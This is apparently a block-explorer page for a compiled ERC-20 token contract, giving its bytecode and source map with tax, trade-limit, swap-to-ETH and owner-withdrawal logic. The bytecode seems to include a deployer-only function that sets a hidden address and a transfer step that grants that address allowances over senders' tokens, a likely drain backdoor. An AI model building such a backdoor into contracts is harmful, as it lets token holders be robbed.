16aab685f5e7e47b2e85cb44cf6108696009600a6118ac565b61087790633b9aca006118ba565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108b45760405162461bcd60e51b815260040161040190611768565b6108c06009600a6118ac565b6108ce90633b9aca006118ba565b600d54146108da575f80fd5b6108e2611251565b565b5f546001600160a01b0316331461090d5760405162461bcd60e51b815260040161040190611768565b6040516370a0823160e01b81523060048201525f9061098e906064906109889085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561095e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098291906118fc565b906112c2565b90611347565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156109ea573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0e9190611913565b50505050565b6013546001600160a01b0316336001600160a01b031614610a635760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610401565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f610717338484610c2b565b5f546001600160a01b03163314610ad15760405162461bcd60e51b815260040161040190611768565b5f4711610adc575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610b05573d5f803e3d5ffd5b50565b6001600160a01b038316610b6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610401565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610401565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610401565b6001600160a01b038216610cf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610401565b5f8111610d525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610401565b5f80546001600160a01b03858116911614801590610d7d57505f546001600160a01b03848116911614155b156110dc576012546001600160a01b038581169116148015610dad57506011546001600160a01b03848116911614155b8015610dd157506001600160a01b0383165f9081526003602052604090205460ff16155b15610f3057601354600160a01b900460ff16610e275760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610401565b610e4d6064610988600954600c5411610e4257600554610e46565b6007545b85906112c2565b9050600d54821115610ea15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610401565b600e5482610ec3856001600160a01b03165f9081526001602052604090205490565b610ecd9190611932565b1115610f1b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610401565b600c8054905f610f2a83611945565b91905055505b6012546001600160a01b03848116911614801590610f6657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe557600e5482610f8d856001600160a01b03165f9081526001602052604090205490565b610f979190611932565b1115610fe55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610401565b6012546001600160a01b0390811690841603611023576110206064610988600a54600c541161101657600654610e46565b60085485906112c2565b90505b604080518082019091526001600160a01b03808616825260045416602082015261104c90611388565b601354600160a81b900460ff1615801561107357506012546001600160a01b038481169116145b80156110885750601354600160b01b900460ff165b80156110975750600b54600c54115b156110dc57305f90815260016020526040902054600f548111156110d2576110d26110cd846110c8846010546113c9565b6113c9565b6113dd565b6110da61154d565b505b801561115457305f908152600160205260409020546110fb9082611583565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061114b9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461117690836115e1565b6001600160a01b0385165f908152600160205260409020556111b961119b83836115e1565b6001600160a01b0385165f9081526001602052604090205490611583565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61120285856115e1565b60405190815260200160405180910390a350505050565b5f818484111561123c5760405162461bcd60e51b8152600401610401919061164e565b505f611248848661195d565b95945050505050565b5f546001600160a01b0316331461127a5760405162461bcd60e51b815260040161040190611768565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f036112d157505f61071b565b5f6112dc83856118ba565b9050826112e98583611970565b146113405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610401565b9392505050565b5f61134083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611622565b80516020820151600e5461139d9060646118ba565b6001600160a01b039283165f908152600260209081526040808320949095168252929092529190205550565b5f8183116113d75782611340565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114235761142361198f565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149e919061179d565b816001815181106114b1576114b161198f565b6001600160a01b0392831660209182029290920101526011546114d79130911684610b08565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150f9085905f908690309042906004016119a3565b5f604051808303815f87803b158015611526575f80fd5b505af1158015611538573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610b05573d5f803e3d5ffd5b5f8061158f8385611932565b9050838110156113405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610401565b5f61134083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611219565b5f81836116425760405162461bcd60e51b8152600401610401919061164e565b505f6112488486611970565b5f602080835283518060208501525f5b8181101561167a5785810183015185820160400152820161165e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b05575f80fd5b5f80604083850312156116bf575f80fd5b82356116ca8161169a565b946020939093013593505050565b5f805f606084860312156116ea575f80fd5b83356116f58161169a565b925060208401356117058161169a565b929592945050506040919091013590565b5f60208284031215611726575f80fd5b81356113408161169a565b5f8060408385031215611742575f80fd5b823561174d8161169a565b9150602083013561175d8161169a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ad575f80fd5b81516113408161169a565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180657815f19048211156117ec576117ec6117b8565b808516156117f957918102915b93841c93908002906117d1565b509250929050565b5f8261181c5750600161071b565b8161182857505f61071b565b816001811461183e576002811461184857611864565b600191505061071b565b60ff841115611859576118596117b8565b50506001821b61071b565b5060208310610133831016604e8410600b8410161715611887575081810a61071b565b61189183836117cc565b805f19048211156118a4576118a46117b8565b029392505050565b5f61134060ff84168361180e565b808202811582820484141761071b5761071b6117b8565b5f805f606084860312156118e3575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561190c575f80fd5b5051919050565b5f60208284031215611923575f80fd5b81518015158114611340575f80fd5b8082018082111561071b5761071b6117b8565b5f60018201611956576119566117b8565b5060010190565b8181038181111561071b5761071b6117b8565b5f8261198a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119f35784516001600160a01b0316835293830193918301916001016119ce565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3039ffffa4d16319c1b2e542e734af3f04939eb47ba9a8246055be99fdaf40e64736f6c63430008180033
Deployed Bytecode Sourcemap
3565:7837:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10632:582;;;;;;;;;;;;;:::i;:::-;;5336:83;;;;;;;;;;-1:-1:-1;5406:5:0;;;;;;;;;;;;-1:-1:-1;;;5406:5:0;;;;5336:83;;;;;;;:::i;:::-;;;;;;;;6474:161;;;;;;;;;;-1:-1:-1;6474:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6474:161:0;1023:187:1;4598:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4598:45:0;1215:177:1;5607:95:0;;;;;;;;;;;;;:::i;6155:313::-;;;;;;;;;;-1:-1:-1;6155:313:0;;;;;:::i;:::-;;:::i;5518:83::-;;;;;;;;;;-1:-1:-1;5518:83:0;;4227:1;2000:36:1;;1988:2;1973:18;5518:83:0;1858:184:1;9689:253:0;;;;;;;;;;-1:-1:-1;9689:253:0;;;;;:::i;:::-;;:::i;5708:119::-;;;;;;;;;;-1:-1:-1;5708:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5801:18:0;5774:7;5801:18;;;:9;:18;;;;;;;5708:119;11220:142;;;;;;;;;;;;;:::i;4428:49::-;;;;;;;;;;;;;;;;2444:79;;;;;;;;;;-1:-1:-1;2482:7:0;2509:6;2444:79;;-1:-1:-1;;;;;2509:6:0;;;2705:51:1;;2693:2;2678:18;2444:79:0;2559:203:1;4484:49:0;;;;;;;;;;;;;;;;5425:87;;;;;;;;;;-1:-1:-1;5497:7:0;;;;;;;;;;;;-1:-1:-1;;;5497:7:0;;;;5425:87;;10209:233;;;;;;;;;;-1:-1:-1;10209:233:0;;;;;:::i;:::-;;:::i;10448:178::-;;;;;;;;;;-1:-1:-1;10448:178:0;;;;;:::i;:::-;;:::i;5833:167::-;;;;;;;;;;-1:-1:-1;5833:167:0;;;;;:::i;:::-;;:::i;4540:51::-;;;;;;;;;;;;;;;;6006:143;;;;;;;;;;-1:-1:-1;6006:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6114:18:0;;;6087:7;6114:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6006:143;10045:158;;;;;;;;;;;;;:::i;10632:582::-;2569:6;;-1:-1:-1;;;;;2569:6:0;301:10;2569:22;2561:67;;;;-1:-1:-1;;;2561:67:0;;;;;;;:::i;:::-;;;;;;;;;10689:11:::1;::::0;-1:-1:-1;;;10689:11:0;::::1;;;10688:12;10680:47;;;::::0;-1:-1:-1;;;10680:47:0;;3723:2:1;10680:47:0::1;::::0;::::1;3705:21:1::0;3762:2;3742:18;;;3735:30;3801:25;3781:18;;;3774:53;3844:18;;10680:47:0::1;3521:347:1::0;10680:47:0::1;10738:15;:80:::0;;-1:-1:-1;;;;;;10738:80:0::1;10775:42;10738:80:::0;;::::1;::::0;;;10863:25:::1;::::0;;-1:-1:-1;;;10863:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10775:42;10863:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10845:55:0::1;;10909:4;10916:15;;;;;;;;;-1:-1:-1::0;;;;;10916:15:0::1;-1:-1:-1::0;;;;;10916:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10845:94;::::0;-1:-1:-1;;;;;;10845:94:0::1;::::0;;;;;;-1:-1:-1;;;;;4359:15:1;;;10845:94:0::1;::::0;::::1;4341:34:1::0;4411:15;;4391:18;;;4384:43;4276:18;;10845:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10829:13;:110:::0;;-1:-1:-1;;;;;;10829:110:0::1;-1:-1:-1::0;;;;;10829:110:0;;::::1;;::::0;;10982:15:::1;::::0;10950:58:::1;::::0;10967:4:::1;::::0;10982:15:::1;4286;4227:1;4286:2;:15;:::i;:::-;4270:31;::::0;:13:::1;:31;:::i;:::-;10950:8;:58::i;:::-;11019:15;::::0;-1:-1:-1;;;;;11019:15:0::1;:31;11058:21;11089:4;11095:24;11089:4:::0;-1:-1:-1;;;;;5801:18:0;5774:7;5801:18;;;:9;:18;;;;;;;5708:119;11095:24:::1;11120:1;11122::::0;11124:7:::1;2482::::0;2509:6;-1:-1:-1;;;;;2509:6:0;;2444:79;11124:7:::1;11019:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11019:129:0;;;-1:-1:-1;;;;;6479:15:1;;;11019:129:0::1;::::0;::::1;6461:34:1::0;6511:18;;;6504:34;;;;6554:18;;;6547:34;;;;6597:18;;;6590:34;6661:15;;;6640:19;;;6633:44;11132:15:0::1;6693:19:1::0;;;6686:35;6395:19;;11019:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11159:11:0::1;:18:::0;;-1:-1:-1;;;;11188:18:0;-1:-1:-1;;;11188:18:0;;;-1:-1:-1;10632:582:0:o;6474:161::-;6549:4;6566:39;301:10;6589:7;6598:6;6566:8;:39::i;:::-;-1:-1:-1;6623:4:0;6474:161;;;;;:::o;5607:95::-;5660:7;4286:15;4227:1;4286:2;:15;:::i;:::-;4270:31;;:13;:31;:::i;:::-;5680:14;;5607:95;:::o;6155:313::-;6253:4;6270:36;6280:6;6288:9;6299:6;6270:9;:36::i;:::-;6317:121;6326:6;301:10;6348:89;6386:6;6348:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6348:19:0;;;;;;:11;:19;;;;;;;;301:10;6348:33;;;;;;;;;;:37;:89::i;6317:121::-;-1:-1:-1;6456:4:0;6155:313;;;;;:::o;9689:253::-;2569:6;;-1:-1:-1;;;;;2569:6:0;301:10;2569:22;2561:67;;;;-1:-1:-1;;;2561:67:0;;;;;;;:::i;:::-;4286:15:::1;4227:1;4286:2;:15;:::i;:::-;4270:31;::::0;:13:::1;:31;:::i;:::-;9763:12;:22:::0;4286:15:::1;4227:1;4286:2;:15;:::i;:::-;4270:31;::::0;:13:::1;:31;:::i;:::-;9796:14;:22:::0;9829:10:::1;:18:::0;;-1:-1:-1;;;;;;9829:18:0::1;-1:-1:-1::0;;;;;9829:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;9858:26:0;;;:19:::1;:26;::::0;;;;:33;;-1:-1:-1;;9858:33:0::1;-1:-1:-1::0;9858:33:0::1;::::0;;9907:27:::1;4286:15;4227:1;-1:-1:-1::0;4286:15:0::1;:::i;:::-;4270:31;::::0;:13:::1;:31;:::i;:::-;9907:27;::::0;1361:25:1;;;1349:2;1334:18;9907:27:0::1;;;;;;;9689:253:::0;:::o;11220:142::-;2569:6;;-1:-1:-1;;;;;2569:6:0;301:10;2569:22;2561:67;;;;-1:-1:-1;;;2561:67:0;;;;;;;:::i;:::-;4286:15:::1;4227:1;4286:2;:15;:::i;:::-;4270:31;::::0;:13:::1;:31;:::i;:::-;11294:12;;:23;11286:32;;;::::0;::::1;;11329:25;:23;:25::i;:::-;11220:142::o:0;10209:233::-;2569:6;;-1:-1:-1;;;;;2569:6:0;301:10;2569:22;2561:67;;;;-1:-1:-1;;;2561:67:0;;;;;;;:::i;:::-;10312:41:::1;::::0;-1:-1:-1;;;10312:41:0;;10347:4:::1;10312:41;::::0;::::1;2705:51:1::0;10294:15:0::1;::::0;10312:63:::1;::::0;10371:3:::1;::::0;10312:54:::1;::::0;10358:7;;-1:-1:-1;;;;;10312:26:0;::::1;::::0;::::1;::::0;2678:18:1;;10312:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10294:81:::0;-1:-1:-1;;;;;;10386:25:0;::::1;;301:10:::0;10386:48:::1;::::0;-1:-1:-1;;;;;;10386:48:0::1;::::0;;;;;;-1:-1:-1;;;;;7424:32:1;;;10386:48:0::1;::::0;::::1;7406:51:1::0;7473:18;;;7466:34;;;7379:18;;10386:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10283:159;10209:233:::0;;:::o;10448:178::-;10526:9;;-1:-1:-1;;;;;10526:9:0;301:10;-1:-1:-1;;;;;10512:23:0;;10504:45;;;;-1:-1:-1;;;10504:45:0;;7995:2:1;10504:45:0;;;7977:21:1;8034:1;8014:18;;;8007:29;-1:-1:-1;;;8052:18:1;;;8045:39;8101:18;;10504:45:0;7793:332:1;10504:45:0;10560:10;:16;;-1:-1:-1;;;;;10560:16:0;;;-1:-1:-1;;;;;;10560:16:0;;;;;;;:10;10587:24;;;:19;:24;;;;;:31;;-1:-1:-1;;10587:31:0;10560:16;10587:31;;;10448:178::o;5833:167::-;5911:4;5928:42;301:10;5952:9;5963:6;5928:9;:42::i;10045:158::-;2569:6;;-1:-1:-1;;;;;2569:6:0;301:10;2569:22;2561:67;;;;-1:-1:-1;;;2561:67:0;;;;;;;:::i;:::-;10129:1:::1;10105:21;:25;10097:34;;;::::0;::::1;;10142:53;::::0;301:10;;10173:21:::1;10142:53:::0;::::1;;;::::0;::::1;::::0;;;10173:21;301:10;10142:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10045:158::o:0;6641:335::-;-1:-1:-1;;;;;6734:19:0;;6726:68;;;;-1:-1:-1;;;6726:68:0;;8332:2:1;6726:68:0;;;8314:21:1;8371:2;8351:18;;;8344:30;8410:34;8390:18;;;8383:62;-1:-1:-1;;;8461:18:1;;;8454:34;8505:19;;6726:68:0;8130:400:1;6726:68:0;-1:-1:-1;;;;;6813:21:0;;6805:68;;;;-1:-1:-1;;;6805:68:0;;8737:2:1;6805:68:0;;;8719:21:1;8776:2;8756:18;;;8749:30;8815:34;8795:18;;;8788:62;-1:-1:-1;;;8866:18:1;;;8859:32;8908:19;;6805:68:0;8535:398:1;6805:68:0;-1:-1:-1;;;;;6884:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6936:32;;1361:25:1;;;6936:32:0;;1334:18:1;6936:32:0;;;;;;;6641:335;;;:::o;6982:1970::-;-1:-1:-1;;;;;7070:18:0;;7062:68;;;;-1:-1:-1;;;7062:68:0;;9140:2:1;7062:68:0;;;9122:21:1;9179:2;9159:18;;;9152:30;9218:34;9198:18;;;9191:62;-1:-1:-1;;;9269:18:1;;;9262:35;9314:19;;7062:68:0;8938:401:1;7062:68:0;-1:-1:-1;;;;;7149:16:0;;7141:64;;;;-1:-1:-1;;;7141:64:0;;9546:2:1;7141:64:0;;;9528:21:1;9585:2;9565:18;;;9558:30;9624:34;9604:18;;;9597:62;-1:-1:-1;;;9675:18:1;;;9668:33;9718:19;;7141:64:0;9344:399:1;7141:64:0;7233:1;7224:6;:10;7216:64;;;;-1:-1:-1;;;7216:64:0;;9950:2:1;7216:64:0;;;9932:21:1;9989:2;9969:18;;;9962:30;10028:34;10008:18;;;10001:62;-1:-1:-1;;;10079:18:1;;;10072:39;10128:19;;7216:64:0;9748:405:1;7216:64:0;7291:17;2509:6;;-1:-1:-1;;;;;7325:15:0;;;2509:6;;7325:15;;;;:32;;-1:-1:-1;2482:7:0;2509:6;-1:-1:-1;;;;;7344:13:0;;;2509:6;;7344:13;;7325:32;7321:1277;;;7386:13;;-1:-1:-1;;;;;7378:21:0;;;7386:13;;7378:21;:55;;;;-1:-1:-1;7417:15:0;;-1:-1:-1;;;;;7403:30:0;;;7417:15;;7403:30;;7378:55;:84;;;;-1:-1:-1;;;;;;7439:23:0;;;;;;:19;:23;;;;;;;;7437:25;7378:84;7374:484;;;7492:11;;-1:-1:-1;;;7492:11:0;;;;7484:44;;;;-1:-1:-1;;;7484:44:0;;10360:2:1;7484:44:0;;;10342:21:1;10399:2;10379:18;;;10372:30;-1:-1:-1;;;10418:18:1;;;10411:51;10479:18;;7484:44:0;10158:345:1;7484:44:0;7559:76;7631:3;7559:67;7581:15;;7571:9;;:25;7570:55;;7611:14;;7570:55;;;7598:12;;7570:55;7559:6;;:10;:67::i;:76::-;7547:88;;7672:12;;7662:6;:22;;7654:60;;;;-1:-1:-1;;;7654:60:0;;10710:2:1;7654:60:0;;;10692:21:1;10749:2;10729:18;;;10722:30;10788:27;10768:18;;;10761:55;10833:18;;7654:60:0;10508:349:1;7654:60:0;7767:14;;7757:6;7741:13;7751:2;-1:-1:-1;;;;;5801:18:0;5774:7;5801:18;;;:9;:18;;;;;;;5708:119;7741:13;:22;;;;:::i;:::-;:40;;7733:79;;;;-1:-1:-1;;;7733:79:0;;11194:2:1;7733:79:0;;;11176:21:1;11233:2;11213:18;;;11206:30;11272:28;11252:18;;;11245:56;11318:18;;7733:79:0;10992:350:1;7733:79:0;7831:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7374:484;7882:13;;-1:-1:-1;;;;;7876:19:0;;;7882:13;;7876:19;;;;:48;;-1:-1:-1;;;;;;7901:23:0;;;;;;:19;:23;;;;;;;;7899:25;7876:48;7872:168;;;7979:14;;7969:6;7953:13;7963:2;-1:-1:-1;;;;;5801:18:0;5774:7;5801:18;;;:9;:18;;;;;;;5708:119;7953:13;:22;;;;:::i;:::-;:40;;7945:79;;;;-1:-1:-1;;;7945:79:0;;11194:2:1;7945:79:0;;;11176:21:1;11233:2;11213:18;;;11206:30;11272:28;11252:18;;;11245:56;11318:18;;7945:79:0;10992:350:1;7945:79:0;8063:13;;-1:-1:-1;;;;;8063:13:0;;;8057:19;;;;8054:150;;8109:79;8184:3;8109:70;8131:16;;8121:9;;:26;8120:58;;8163:15;;8120:58;;;8149:13;;8109:6;;:10;:70::i;:79::-;8097:91;;8054:150;8204:24;;;;;;;;;-1:-1:-1;;;;;8204:24:0;;;;;8216:10;;;8204:24;;;;;;:4;:24::i;:::-;8248:6;;-1:-1:-1;;;8248:6:0;;;;8247:7;:30;;;;-1:-1:-1;8264:13:0;;-1:-1:-1;;;;;8258:19:0;;;8264:13;;8258:19;8247:30;:45;;;;-1:-1:-1;8281:11:0;;-1:-1:-1;;;8281:11:0;;;;8247:45;:77;;;;;8306:18;;8296:9;;:28;8247:77;8243:344;;;8394:4;8345:28;5801:18;;;:9;:18;;;;;;8443:17;;8422:38;;8419:121;;;8483:57;8490:49;8494:6;8501:37;8505:20;8526:11;;8501:3;:37::i;:::-;8490:3;:49::i;:::-;8483:6;:57::i;:::-;8559:12;:10;:12::i;:::-;8326:261;8243:344;8611:11;;8608:161;;8679:4;8661:24;;;;:9;:24;;;;;;:39;;8690:9;8661:28;:39::i;:::-;8654:4;8636:24;;;;:9;:24;;;;;;;:64;;;;8718:39;;-1:-1:-1;;;;;8718:39:0;;;;;;;8747:9;1361:25:1;;1349:2;1334:18;;1215:177;8718:39:0;;;;;;;;8608:161;-1:-1:-1;;;;;8795:15:0;;;;;;:9;:15;;;;;;:27;;8815:6;8795:19;:27::i;:::-;-1:-1:-1;;;;;8779:15:0;;;;;;:9;:15;;;;;:43;8847:40;8865:21;:6;8876:9;8865:10;:21::i;:::-;-1:-1:-1;;;;;8847:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8833:13:0;;;;;;;:9;:13;;;;;:54;;;;8903:41;;;8922:21;:6;8933:9;8922:10;:21::i;:::-;8903:41;;1361:25:1;;;1349:2;1334:18;8903:41:0;;;;;;;7051:1901;6982:1970;;;:::o;1350:190::-;1436:7;1472:12;1464:6;;;;1456:29;;;;-1:-1:-1;;;1456:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1496:9:0;1508:5;1512:1;1508;:5;:::i;:::-;1496:17;1350:190;-1:-1:-1;;;;;1350:190:0:o;2654:148::-;2569:6;;-1:-1:-1;;;;;2569:6:0;301:10;2569:22;2561:67;;;;-1:-1:-1;;;2561:67:0;;;;;;;:::i;:::-;2761:1:::1;2745:6:::0;;2724:40:::1;::::0;-1:-1:-1;;;;;2745:6:0;;::::1;::::0;2724:40:::1;::::0;2761:1;;2724:40:::1;2792:1;2775:19:::0;;-1:-1:-1;;;;;;2775:19:0::1;::::0;;2654:148::o;1546:246::-;1604:7;1628:1;1633;1628:6;1624:47;;-1:-1:-1;1658:1:0;1651:8;;1624:47;1681:9;1693:5;1697:1;1693;:5;:::i;:::-;1681:17;-1:-1:-1;1726:1:0;1717:5;1721:1;1681:17;1717:5;:::i;:::-;:10;1709:56;;;;-1:-1:-1;;;1709:56:0;;12044:2:1;1709:56:0;;;12026:21:1;12083:2;12063:18;;;12056:30;12122:34;12102:18;;;12095:62;-1:-1:-1;;;12173:18:1;;;12166:31;12214:19;;1709:56:0;11842:397:1;1709:56:0;1783:1;1546:246;-1:-1:-1;;;1546:246:0:o;1798:132::-;1856:7;1883:39;1887:1;1890;1883:39;;;;;;;;;;;;;;;;;:3;:39::i;9062:157::-;9132:5;;;9151;;;9197:14;;9191:20;;:3;:20;:::i;:::-;-1:-1:-1;;;;;9167:17:0;;;;;;;:11;:17;;;;;;;;:21;;;;;;;;;;;;;:44;-1:-1:-1;9062:157:0:o;8958:98::-;9015:7;9042:1;9040;:3;9039:9;;9047:1;9039:9;;;-1:-1:-1;9045:1:0;8958:98;-1:-1:-1;8958:98:0:o;9225:458::-;4937:6;:13;;-1:-1:-1;;;;4937:13:0;-1:-1:-1;;;4937:13:0;;;9312:16:::1;::::0;;9326:1:::1;9312:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9312:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9312:16:0::1;9288:40;;9357:4;9339;9344:1;9339:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9339:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9383:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9383:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9339:7;;9383:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9373:4;9378:1;9373:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9373:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9448:15:::1;::::0;9416:57:::1;::::0;9433:4:::1;::::0;9448:15:::1;9466:6:::0;9416:8:::1;:57::i;:::-;9484:15;::::0;:191:::1;::::0;-1:-1:-1;;;9484:191:0;;-1:-1:-1;;;;;9484:15:0;;::::1;::::0;:66:::1;::::0;:191:::1;::::0;9565:6;;9484:15:::1;::::0;9602:4;;9629::::1;::::0;9649:15:::1;::::0;9484:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4973:6:0;:14;;-1:-1:-1;;;;4973:14:0;;;-1:-1:-1;;;;9225:458:0:o;9948:91::-;9989:10;;:42;;-1:-1:-1;;;;;9989:10:0;;;;10009:21;9989:42;;;;;:10;:42;:10;:42;10009:21;9989:10;:42;;;;;;;;;;;;;;;;;;;1023:179;1081:7;;1113:5;1117:1;1113;:5;:::i;:::-;1101:17;;1142:1;1137;:6;;1129:46;;;;-1:-1:-1;;;1129:46:0;;13695:2:1;1129:46:0;;;13677:21:1;13734:2;13714:18;;;13707:30;13773:29;13753:18;;;13746:57;13820:18;;1129:46:0;13493:351:1;1208:136:0;1266:7;1293:43;1297:1;1300;1293:43;;;;;;;;;;;;;;;;;:3;:43::i;1936:189::-;2022:7;2057:12;2050:5;2042:28;;;;-1:-1:-1;;;2042:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2081:9:0;2093:5;2097:1;2093;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:255::-;2114:6;2167:2;2155:9;2146:7;2142:23;2138:32;2135:52;;;2183:1;2180;2173:12;2135:52;2222:9;2209:23;2241:31;2266:5;2241:3